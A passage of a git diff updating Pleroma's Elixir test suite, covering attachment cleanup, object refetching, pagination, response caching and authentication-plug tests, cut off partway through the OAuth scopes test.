--- a/test/object_test.exs
+++ b/test/object_test.exs
@@ -1,13 +1,18 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ObjectTest do
use Pleroma.DataCase
+ use Oban.Testing, repo: Pleroma.Repo
+ import ExUnit.CaptureLog
import Pleroma.Factory
import Tesla.Mock
+ alias Pleroma.Activity
alias Pleroma.Object
alias Pleroma.Repo
+ alias Pleroma.Tests.ObanHelpers
+ alias Pleroma.Web.CommonAPI
setup do
mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
@@ -53,9 +58,12 @@ defmodule Pleroma.ObjectTest do
assert object == cached_object
+ Cachex.put(:web_resp_cache, URI.parse(object.data["id"]).path, "cofe")
+
Object.delete(cached_object)
{:ok, nil} = Cachex.get(:object_cache, "object:#{object.data["id"]}")
+ {:ok, nil} = Cachex.get(:web_resp_cache, URI.parse(object.data["id"]).path)
cached_object = Object.get_cached_by_ap_id(object.data["id"])
@@ -65,6 +73,112 @@ defmodule Pleroma.ObjectTest do
end
end
+ describe "delete attachments" do
+ clear_config([Pleroma.Upload])
+
+ test "in subdirectories" do
+ Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local)
+
+ file = %Plug.Upload{
+ content_type: "image/jpg",
+ path: Path.absname("test/fixtures/image.jpg"),
+ filename: "an_image.jpg"
+ }
+
+ user = insert(:user)
+
+ {:ok, %Object{} = attachment} =
+ Pleroma.Web.ActivityPub.ActivityPub.upload(file, actor: user.ap_id)
+
+ %{data: %{"attachment" => [%{"url" => [%{"href" => href}]}]}} =
+ note = insert(:note, %{user: user, data: %{"attachment" => [attachment.data]}})
+
+ uploads_dir = Pleroma.Config.get!([Pleroma.Uploaders.Local, :uploads])
+
+ path = href |> Path.dirname() |> Path.basename()
+
+ assert {:ok, ["an_image.jpg"]} == File.ls("#{uploads_dir}/#{path}")
+
+ Object.delete(note)
+
+ ObanHelpers.perform(all_enqueued(worker: Pleroma.Workers.AttachmentsCleanupWorker))
+
+ assert Object.get_by_id(attachment.id) == nil
+
+ assert {:ok, []} == File.ls("#{uploads_dir}/#{path}")
+ end
+
+ test "with dedupe enabled" do
+ Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local)
+ Pleroma.Config.put([Pleroma.Upload, :filters], [Pleroma.Upload.Filter.Dedupe])
+
+ uploads_dir = Pleroma.Config.get!([Pleroma.Uploaders.Local, :uploads])
+
+ File.mkdir_p!(uploads_dir)
+
+ file = %Plug.Upload{
+ content_type: "image/jpg",
+ path: Path.absname("test/fixtures/image.jpg"),
+ filename: "an_image.jpg"
+ }
+
+ user = insert(:user)
+
+ {:ok, %Object{} = attachment} =
+ Pleroma.Web.ActivityPub.ActivityPub.upload(file, actor: user.ap_id)
+
+ %{data: %{"attachment" => [%{"url" => [%{"href" => href}]}]}} =
+ note = insert(:note, %{user: user, data: %{"attachment" => [attachment.data]}})
+
+ filename = Path.basename(href)
+
+ assert {:ok, files} = File.ls(uploads_dir)
+ assert filename in files
+
+ Object.delete(note)
+
+ ObanHelpers.perform(all_enqueued(worker: Pleroma.Workers.AttachmentsCleanupWorker))
+
+ assert Object.get_by_id(attachment.id) == nil
+ assert {:ok, files} = File.ls(uploads_dir)
+ refute filename in files
+ end
+
+ test "with objects that have legacy data.url attribute" do
+ Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local)
+
+ file = %Plug.Upload{
+ content_type: "image/jpg",
+ path: Path.absname("test/fixtures/image.jpg"),
+ filename: "an_image.jpg"
+ }
+
+ user = insert(:user)
+
+ {:ok, %Object{} = attachment} =
+ Pleroma.Web.ActivityPub.ActivityPub.upload(file, actor: user.ap_id)
+
+ {:ok, %Object{}} = Object.create(%{url: "https://google.com", actor: user.ap_id})
+
+ %{data: %{"attachment" => [%{"url" => [%{"href" => href}]}]}} =
+ note = insert(:note, %{user: user, data: %{"attachment" => [attachment.data]}})
+
+ uploads_dir = Pleroma.Config.get!([Pleroma.Uploaders.Local, :uploads])
+
+ path = href |> Path.dirname() |> Path.basename()
+
+ assert {:ok, ["an_image.jpg"]} == File.ls("#{uploads_dir}/#{path}")
+
+ Object.delete(note)
+
+ ObanHelpers.perform(all_enqueued(worker: Pleroma.Workers.AttachmentsCleanupWorker))
+
+ assert Object.get_by_id(attachment.id) == nil
+
+ assert {:ok, []} == File.ls("#{uploads_dir}/#{path}")
+ end
+ end
+
describe "normalizer" do
test "fetches unknown objects by default" do
%Object{} =
@@ -86,4 +200,126 @@ defmodule Pleroma.ObjectTest do
)
end
end
+
+ describe "get_by_id_and_maybe_refetch" do
+ setup do
+ mock(fn
+ %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} ->
+ %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/poll_original.json")}
+
+ env ->
+ apply(HttpRequestMock, :request, [env])
+ end)
+
+ mock_modified = fn resp ->
+ mock(fn
+ %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} ->
+ resp
+
+ env ->
+ apply(HttpRequestMock, :request, [env])
+ end)
+ end
+
+ on_exit(fn -> mock(fn env -> apply(HttpRequestMock, :request, [env]) end) end)
+
+ [mock_modified: mock_modified]
+ end
+
+ test "refetches if the time since the last refetch is greater than the interval", %{
+ mock_modified: mock_modified
+ } do
+ %Object{} =
+ object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d")
+
+ Object.set_cache(object)
+
+ assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4
+ assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
+
+ mock_modified.(%Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/poll_modified.json")
+ })
+
+ updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1)
+ object_in_cache = Object.get_cached_by_ap_id(object.data["id"])
+ assert updated_object == object_in_cache
+ assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 8
+ assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 3
+ end
+
+ test "returns the old object if refetch fails", %{mock_modified: mock_modified} do
+ %Object{} =
+ object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d")
+
+ Object.set_cache(object)
+
+ assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4
+ assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
+
+ assert capture_log(fn ->
+ mock_modified.(%Tesla.Env{status: 404, body: ""})
+
+ updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1)
+ object_in_cache = Object.get_cached_by_ap_id(object.data["id"])
+ assert updated_object == object_in_cache
+ assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4
+ assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 0
+ end) =~
+ "[error] Couldn't refresh https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"
+ end
+
+ test "does not refetch if the time since the last refetch is greater than the interval", %{
+ mock_modified: mock_modified
+ } do
+ %Object{} =
+ object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d")
+
+ Object.set_cache(object)
+
+ assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4
+ assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
+
+ mock_modified.(%Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/poll_modified.json")
+ })
+
+ updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: 100)
+ object_in_cache = Object.get_cached_by_ap_id(object.data["id"])
+ assert updated_object == object_in_cache
+ assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4
+ assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 0
+ end
+
+ test "preserves internal fields on refetch", %{mock_modified: mock_modified} do
+ %Object{} =
+ object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d")
+
+ Object.set_cache(object)
+
+ assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4
+ assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
+
+ user = insert(:user)
+ activity = Activity.get_create_by_object_ap_id(object.data["id"])
+ {:ok, _activity, object} = CommonAPI.favorite(activity.id, user)
+
+ assert object.data["like_count"] == 1
+
+ mock_modified.(%Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/poll_modified.json")
+ })
+
+ updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1)
+ object_in_cache = Object.get_cached_by_ap_id(object.data["id"])
+ assert updated_object == object_in_cache
+ assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 8
+ assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 3
+
+ assert updated_object.data["like_count"] == 1
+ end
+ end
end
diff --git a/test/pagination_test.exs b/test/pagination_test.exs
new file mode 100644
index 000000000..c0fbe7933
--- /dev/null
+++ b/test/pagination_test.exs
@@ -0,0 +1,78 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.PaginationTest do
+ use Pleroma.DataCase
+
+ import Pleroma.Factory
+
+ alias Pleroma.Object
+ alias Pleroma.Pagination
+
+ describe "keyset" do
+ setup do
+ notes = insert_list(5, :note)
+
+ %{notes: notes}
+ end
+
+ test "paginates by min_id", %{notes: notes} do
+ id = Enum.at(notes, 2).id |> Integer.to_string()
+
+ %{total: total, items: paginated} =
+ Pagination.fetch_paginated(Object, %{"min_id" => id, "total" => true})
+
+ assert length(paginated) == 2
+ assert total == 5
+ end
+
+ test "paginates by since_id", %{notes: notes} do
+ id = Enum.at(notes, 2).id |> Integer.to_string()
+
+ %{total: total, items: paginated} =
+ Pagination.fetch_paginated(Object, %{"since_id" => id, "total" => true})
+
+ assert length(paginated) == 2
+ assert total == 5
+ end
+
+ test "paginates by max_id", %{notes: notes} do
+ id = Enum.at(notes, 1).id |> Integer.to_string()
+
+ %{total: total, items: paginated} =
+ Pagination.fetch_paginated(Object, %{"max_id" => id, "total" => true})
+
+ assert length(paginated) == 1
+ assert total == 5
+ end
+
+ test "paginates by min_id & limit", %{notes: notes} do
+ id = Enum.at(notes, 2).id |> Integer.to_string()
+
+ paginated = Pagination.fetch_paginated(Object, %{"min_id" => id, "limit" => 1})
+
+ assert length(paginated) == 1
+ end
+ end
+
+ describe "offset" do
+ setup do
+ notes = insert_list(5, :note)
+
+ %{notes: notes}
+ end
+
+ test "paginates by limit" do
+ paginated = Pagination.fetch_paginated(Object, %{"limit" => 2}, :offset)
+
+ assert length(paginated) == 2
+ end
+
+ test "paginates by limit & offset" do
+ paginated = Pagination.fetch_paginated(Object, %{"limit" => 2, "offset" => 4}, :offset)
+
+ assert length(paginated) == 1
+ end
+ end
+end
diff --git a/test/plugs/admin_secret_authentication_plug_test.exs b/test/plugs/admin_secret_authentication_plug_test.exs
index e1d4b391f..506b1f609 100644
--- a/test/plugs/admin_secret_authentication_plug_test.exs
+++ b/test/plugs/admin_secret_authentication_plug_test.exs
@@ -22,21 +22,39 @@ defmodule Pleroma.Plugs.AdminSecretAuthenticationPlugTest do
assert conn == ret_conn
end
- test "with secret set and given in the 'admin_token' parameter, it assigns an admin user", %{
- conn: conn
- } do
- Pleroma.Config.put(:admin_token, "password123")
+ describe "when secret set it assigns an admin user" do
+ test "with `admin_token` query parameter", %{conn: conn} do
+ Pleroma.Config.put(:admin_token, "password123")
- conn =
- %{conn | params: %{"admin_token" => "wrong_password"}}
- |> AdminSecretAuthenticationPlug.call(%{})
+ conn =
+ %{conn | params: %{"admin_token" => "wrong_password"}}
+ |> AdminSecretAuthenticationPlug.call(%{})
- refute conn.assigns[:user]
+ refute conn.assigns[:user]
- conn =
- %{conn | params: %{"admin_token" => "password123"}}
- |> AdminSecretAuthenticationPlug.call(%{})
+ conn =
+ %{conn | params: %{"admin_token" => "password123"}}
+ |> AdminSecretAuthenticationPlug.call(%{})
+
+ assert conn.assigns[:user].is_admin
+ end
+
+ test "with `x-admin-token` HTTP header", %{conn: conn} do
+ Pleroma.Config.put(:admin_token, "☕️")
+
+ conn =
+ conn
+ |> put_req_header("x-admin-token", "🥛")
+ |> AdminSecretAuthenticationPlug.call(%{})
+
+ refute conn.assigns[:user]
+
+ conn =
+ conn
+ |> put_req_header("x-admin-token", "☕️")
+ |> AdminSecretAuthenticationPlug.call(%{})
- assert conn.assigns[:user].info.is_admin
+ assert conn.assigns[:user].is_admin
+ end
end
end
diff --git a/test/plugs/authentication_plug_test.exs b/test/plugs/authentication_plug_test.exs
index 7ca045616..9ae4c506f 100644
--- a/test/plugs/authentication_plug_test.exs
+++ b/test/plugs/authentication_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.AuthenticationPlugTest do
@@ -9,7 +9,6 @@ defmodule Pleroma.Plugs.AuthenticationPlugTest do
alias Pleroma.User
import ExUnit.CaptureLog
- import Mock
setup %{conn: conn} do
user = %User{
@@ -67,13 +66,12 @@ defmodule Pleroma.Plugs.AuthenticationPlugTest do
refute AuthenticationPlug.checkpw("test-password1", hash)
end
+ @tag :skip_on_mac
test "check sha512-crypt hash" do
hash =
"$6$9psBWV8gxkGOZWBz$PmfCycChoxeJ3GgGzwvhlgacb9mUoZ.KUXNCssekER4SJ7bOK53uXrHNb2e4i8yPFgSKyzaW9CcmrDXWIEMtD1"
- with_mock :crypt, crypt: fn _password, password_hash -> password_hash end do
- assert AuthenticationPlug.checkpw("password", hash)
- end
+ assert AuthenticationPlug.checkpw("password", hash)
end
test "it returns false when hash invalid" do
diff --git a/test/plugs/cache_control_test.exs b/test/plugs/cache_control_test.exs
index 45151b289..be78b3e1e 100644
--- a/test/plugs/cache_control_test.exs
+++ b/test/plugs/cache_control_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.CacheControlTest do
@@ -9,7 +9,7 @@ defmodule Pleroma.Web.CacheControlTest do
test "Verify Cache-Control header on static assets", %{conn: conn} do
conn = get(conn, "/index.html")
- assert Conn.get_resp_header(conn, "cache-control") == ["public, no-cache"]
+ assert Conn.get_resp_header(conn, "cache-control") == ["public max-age=86400 must-revalidate"]
end
test "Verify Cache-Control header on the API", %{conn: conn} do
diff --git a/test/plugs/cache_test.exs b/test/plugs/cache_test.exs
new file mode 100644
index 000000000..e6e7f409e
--- /dev/null
+++ b/test/plugs/cache_test.exs
@@ -0,0 +1,186 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Plugs.CacheTest do
+ use ExUnit.Case, async: true
+ use Plug.Test
+
+ alias Pleroma.Plugs.Cache
+
+ @miss_resp {200,
+ [
+ {"cache-control", "max-age=0, private, must-revalidate"},
+ {"content-type", "cofe/hot; charset=utf-8"},
+ {"x-cache", "MISS from Pleroma"}
+ ], "cofe"}
+
+ @hit_resp {200,
+ [
+ {"cache-control", "max-age=0, private, must-revalidate"},
+ {"content-type", "cofe/hot; charset=utf-8"},
+ {"x-cache", "HIT from Pleroma"}
+ ], "cofe"}
+
+ @ttl 5
+
+ setup do
+ Cachex.clear(:web_resp_cache)
+ :ok
+ end
+
+ test "caches a response" do
+ assert @miss_resp ==
+ conn(:get, "/")
+ |> Cache.call(%{query_params: false, ttl: nil})
+ |> put_resp_content_type("cofe/hot")
+ |> send_resp(:ok, "cofe")
+ |> sent_resp()
+
+ assert_raise(Plug.Conn.AlreadySentError, fn ->
+ conn(:get, "/")
+ |> Cache.call(%{query_params: false, ttl: nil})
+ |> put_resp_content_type("cofe/hot")
+ |> send_resp(:ok, "cofe")
+ |> sent_resp()
+ end)
+
+ assert @hit_resp ==
+ conn(:get, "/")
+ |> Cache.call(%{query_params: false, ttl: nil})
+ |> sent_resp()
+ end
+
+ test "ttl is set" do
+ assert @miss_resp ==
+ conn(:get, "/")
+ |> Cache.call(%{query_params: false, ttl: @ttl})
+ |> put_resp_content_type("cofe/hot")
+ |> send_resp(:ok, "cofe")
+ |> sent_resp()
+
+ assert @hit_resp ==
+ conn(:get, "/")
+ |> Cache.call(%{query_params: false, ttl: @ttl})
+ |> sent_resp()
+
+ :timer.sleep(@ttl + 1)
+
+ assert @miss_resp ==
+ conn(:get, "/")
+ |> Cache.call(%{query_params: false, ttl: @ttl})
+ |> put_resp_content_type("cofe/hot")
+ |> send_resp(:ok, "cofe")
+ |> sent_resp()
+ end
+
+ test "set ttl via conn.assigns" do
+ assert @miss_resp ==
+ conn(:get, "/")
+ |> Cache.call(%{query_params: false, ttl: nil})
+ |> put_resp_content_type("cofe/hot")
+ |> assign(:cache_ttl, @ttl)
+ |> send_resp(:ok, "cofe")
+ |> sent_resp()
+
+ assert @hit_resp ==
+ conn(:get, "/")
+ |> Cache.call(%{query_params: false, ttl: nil})
+ |> sent_resp()
+
+ :timer.sleep(@ttl + 1)
+
+ assert @miss_resp ==
+ conn(:get, "/")
+ |> Cache.call(%{query_params: false, ttl: nil})
+ |> put_resp_content_type("cofe/hot")
+ |> send_resp(:ok, "cofe")
+ |> sent_resp()
+ end
+
+ test "ignore query string when `query_params` is false" do
+ assert @miss_resp ==
+ conn(:get, "/?cofe")
+ |> Cache.call(%{query_params: false, ttl: nil})
+ |> put_resp_content_type("cofe/hot")
+ |> send_resp(:ok, "cofe")
+ |> sent_resp()
+
+ assert @hit_resp ==
+ conn(:get, "/?cofefe")
+ |> Cache.call(%{query_params: false, ttl: nil})
+ |> sent_resp()
+ end
+
+ test "take query string into account when `query_params` is true" do
+ assert @miss_resp ==
+ conn(:get, "/?cofe")
+ |> Cache.call(%{query_params: true, ttl: nil})
+ |> put_resp_content_type("cofe/hot")
+ |> send_resp(:ok, "cofe")
+ |> sent_resp()
+
+ assert @miss_resp ==
+ conn(:get, "/?cofefe")
+ |> Cache.call(%{query_params: true, ttl: nil})
+ |> put_resp_content_type("cofe/hot")
+ |> send_resp(:ok, "cofe")
+ |> sent_resp()
+ end
+
+ test "take specific query params into account when `query_params` is list" do
+ assert @miss_resp ==
+ conn(:get, "/?a=1&b=2&c=3&foo=bar")
+ |> fetch_query_params()
+ |> Cache.call(%{query_params: ["a", "b", "c"], ttl: nil})
+ |> put_resp_content_type("cofe/hot")
+ |> send_resp(:ok, "cofe")
+ |> sent_resp()
+
+ assert @hit_resp ==
+ conn(:get, "/?bar=foo&c=3&b=2&a=1")
+ |> fetch_query_params()
+ |> Cache.call(%{query_params: ["a", "b", "c"], ttl: nil})
+ |> sent_resp()
+
+ assert @miss_resp ==
+ conn(:get, "/?bar=foo&c=3&b=2&a=2")
+ |> fetch_query_params()
+ |> Cache.call(%{query_params: ["a", "b", "c"], ttl: nil})
+ |> put_resp_content_type("cofe/hot")
+ |> send_resp(:ok, "cofe")
+ |> sent_resp()
+ end
+
+ test "ignore not GET requests" do
+ expected =
+ {200,
+ [
+ {"cache-control", "max-age=0, private, must-revalidate"},
+ {"content-type", "cofe/hot; charset=utf-8"}
+ ], "cofe"}
+
+ assert expected ==
+ conn(:post, "/")
+ |> Cache.call(%{query_params: true, ttl: nil})
+ |> put_resp_content_type("cofe/hot")
+ |> send_resp(:ok, "cofe")
+ |> sent_resp()
+ end
+
+ test "ignore non-successful responses" do
+ expected =
+ {418,
+ [
+ {"cache-control", "max-age=0, private, must-revalidate"},
+ {"content-type", "tea/iced; charset=utf-8"}
+ ], "🥤"}
+
+ assert expected ==
+ conn(:get, "/cofe")
+ |> Cache.call(%{query_params: true, ttl: nil})
+ |> put_resp_content_type("tea/iced")
+ |> send_resp(:im_a_teapot, "🥤")
+ |> sent_resp()
+ end
+end
diff --git a/test/plugs/ensure_public_or_authenticated_plug_test.exs b/test/plugs/ensure_public_or_authenticated_plug_test.exs
index ce5d77ff7..bae95e150 100644
--- a/test/plugs/ensure_public_or_authenticated_plug_test.exs
+++ b/test/plugs/ensure_public_or_authenticated_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.EnsurePublicOrAuthenticatedPlugTest do
@@ -9,8 +9,10 @@ defmodule Pleroma.Plugs.EnsurePublicOrAuthenticatedPlugTest do
alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug
alias Pleroma.User
+ clear_config([:instance, :public])
+
test "it halts if not public and no user is assigned", %{conn: conn} do
- set_public_to(false)
+ Config.put([:instance, :public], false)
conn =
conn
@@ -21,7 +23,7 @@ defmodule Pleroma.Plugs.EnsurePublicOrAuthenticatedPlugTest do
end
test "it continues if public", %{conn: conn} do
- set_public_to(true)
+ Config.put([:instance, :public], true)
ret_conn =
conn
@@ -31,7 +33,7 @@ defmodule Pleroma.Plugs.EnsurePublicOrAuthenticatedPlugTest do
end
test "it continues if a user is assigned, even if not public", %{conn: conn} do
- set_public_to(false)
+ Config.put([:instance, :public], false)
conn =
conn
@@ -43,13 +45,4 @@ defmodule Pleroma.Plugs.EnsurePublicOrAuthenticatedPlugTest do
assert ret_conn == conn
end
-
- defp set_public_to(value) do
- orig = Config.get!([:instance, :public])
- Config.put([:instance, :public], value)
-
- on_exit(fn ->
- Config.put([:instance, :public], orig)
- end)
- end
end
diff --git a/test/plugs/http_security_plug_test.exs b/test/plugs/http_security_plug_test.exs
index 7dfd50c1f..9c1c20541 100644
--- a/test/plugs/http_security_plug_test.exs
+++ b/test/plugs/http_security_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Plugs.HTTPSecurityPlugTest do
@@ -7,17 +7,12 @@ defmodule Pleroma.Web.Plugs.HTTPSecurityPlugTest do
alias Pleroma.Config
alias Plug.Conn
+ clear_config([:http_securiy, :enabled])
+ clear_config([:http_security, :sts])
+
describe "http security enabled" do
setup do
- enabled = Config.get([:http_securiy, :enabled])
-
Config.put([:http_security, :enabled], true)
-
- on_exit(fn ->
- Config.put([:http_security, :enabled], enabled)
- end)
-
- :ok
end
test "it sends CSP headers when enabled", %{conn: conn} do
@@ -81,14 +76,8 @@ defmodule Pleroma.Web.Plugs.HTTPSecurityPlugTest do
end
test "it does not send CSP headers when disabled", %{conn: conn} do
- enabled = Config.get([:http_securiy, :enabled])
-
Config.put([:http_security, :enabled], false)
- on_exit(fn ->
- Config.put([:http_security, :enabled], enabled)
- end)
-
conn = get(conn, "/api/v1/instance")
assert Conn.get_resp_header(conn, "x-xss-protection") == []
diff --git a/test/plugs/http_signature_plug_test.exs b/test/plugs/http_signature_plug_test.exs
index d6fd9ea81..d8ace36da 100644
--- a/test/plugs/http_signature_plug_test.exs
+++ b/test/plugs/http_signature_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Plugs.HTTPSignaturePlugTest do
diff --git a/test/plugs/instance_static_test.exs b/test/plugs/instance_static_test.exs
index e2dcfa3d8..9b27246fa 100644
--- a/test/plugs/instance_static_test.exs
+++ b/test/plugs/instance_static_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.RuntimeStaticPlugTest do
@@ -8,14 +8,12 @@ defmodule Pleroma.Web.RuntimeStaticPlugTest do
@dir "test/tmp/instance_static"
setup do
- static_dir = Pleroma.Config.get([:instance, :static_dir])
- Pleroma.Config.put([:instance, :static_dir], @dir)
File.mkdir_p!(@dir)
+ on_exit(fn -> File.rm_rf(@dir) end)
+ end
- on_exit(fn ->
- Pleroma.Config.put([:instance, :static_dir], static_dir)
- File.rm_rf(@dir)
- end)
+ clear_config([:instance, :static_dir]) do
+ Pleroma.Config.put([:instance, :static_dir], @dir)
end
test "overrides index" do
diff --git a/test/plugs/legacy_authentication_plug_test.exs b/test/plugs/legacy_authentication_plug_test.exs
index 02f530058..568ef5abd 100644
--- a/test/plugs/legacy_authentication_plug_test.exs
+++ b/test/plugs/legacy_authentication_plug_test.exs
@@ -1,23 +1,22 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.LegacyAuthenticationPlugTest do
use Pleroma.Web.ConnCase
+ import Pleroma.Factory
+
alias Pleroma.Plugs.LegacyAuthenticationPlug
alias Pleroma.User
- import Mock
-
setup do
- # password is "password"
- user = %User{
- id: 1,
- name: "dude",
- password_hash:
- "$6$9psBWV8gxkGOZWBz$PmfCycChoxeJ3GgGzwvhlgacb9mUoZ.KUXNCssekER4SJ7bOK53uXrHNb2e4i8yPFgSKyzaW9CcmrDXWIEMtD1"
- }
+ user =
+ insert(:user,
+ password: "password",
+ password_hash:
+ "$6$9psBWV8gxkGOZWBz$PmfCycChoxeJ3GgGzwvhlgacb9mUoZ.KUXNCssekER4SJ7bOK53uXrHNb2e4i8yPFgSKyzaW9CcmrDXWIEMtD1"
+ )
%{user: user}
end
@@ -36,6 +35,7 @@ defmodule Pleroma.Plugs.LegacyAuthenticationPlugTest do
assert ret_conn == conn
end
+ @tag :skip_on_mac
test "it authenticates the auth_user if present and password is correct and resets the password",
%{
conn: conn,
@@ -46,22 +46,12 @@ defmodule Pleroma.Plugs.LegacyAuthenticationPlugTest do
|> assign(:auth_credentials, %{username: "dude", password: "password"})
|> assign(:auth_user, user)
- conn =
- with_mocks([
- {:crypt, [], [crypt: fn _password, password_hash -> password_hash end]},
- {User, [],
- [
- reset_password: fn user, %{password: password, password_confirmation: password} ->
- {:ok, user}
- end
- ]}
- ]) do
- LegacyAuthenticationPlug.call(conn, %{})
- end
-
- assert conn.assigns.user == user
+ conn = LegacyAuthenticationPlug.call(conn, %{})
+
+ assert conn.assigns.user.id == user.id
end
+ @tag :skip_on_mac
test "it does nothing if the password is wrong", %{
conn: conn,
user: user
diff --git a/test/plugs/mapped_identity_to_signature_plug_test.exs b/test/plugs/mapped_identity_to_signature_plug_test.exs
index bb45d9edf..6b9d3649d 100644
--- a/test/plugs/mapped_identity_to_signature_plug_test.exs
+++ b/test/plugs/mapped_identity_to_signature_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Plugs.MappedSignatureToIdentityPlugTest do
diff --git a/test/plugs/oauth_plug_test.exs b/test/plugs/oauth_plug_test.exs
index 5a2ed11cc..dea11cdb0 100644
--- a/test/plugs/oauth_plug_test.exs
+++ b/test/plugs/oauth_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.OAuthPlugTest do
diff --git a/test/plugs/oauth_scopes_plug_test.exs b/test/plugs/oauth_scopes_plug_test.exs
index f328026df..ce426677b 100644
--- a/test/plugs/oauth_scopes_plug_test.exs
+++ b/test/plugs/oauth_scopes_plug_test.exs
@@ -1,28 +1,24 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.OAuthScopesPlugTest do
use Pleroma.Web.ConnCase, async: true
+ alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug
alias Pleroma.Plugs.OAuthScopesPlug
alias Pleroma.Repo
+ import Mock
import Pleroma.Factory
- test "proceeds with no op if `assigns[:token]` is nil", %{conn: conn} do
- conn =
- conn
- |> assign(:user, insert(:user))
- |> OAuthScopesPlug.call(%{scopes: ["read"]})
-
- refute conn.halted
- assert conn.assigns[:user]
+ setup_with_mocks([{EnsurePublicOrAuthenticatedPlug, [], [call: fn conn, _ -> conn end]}]) do
+ :ok
end
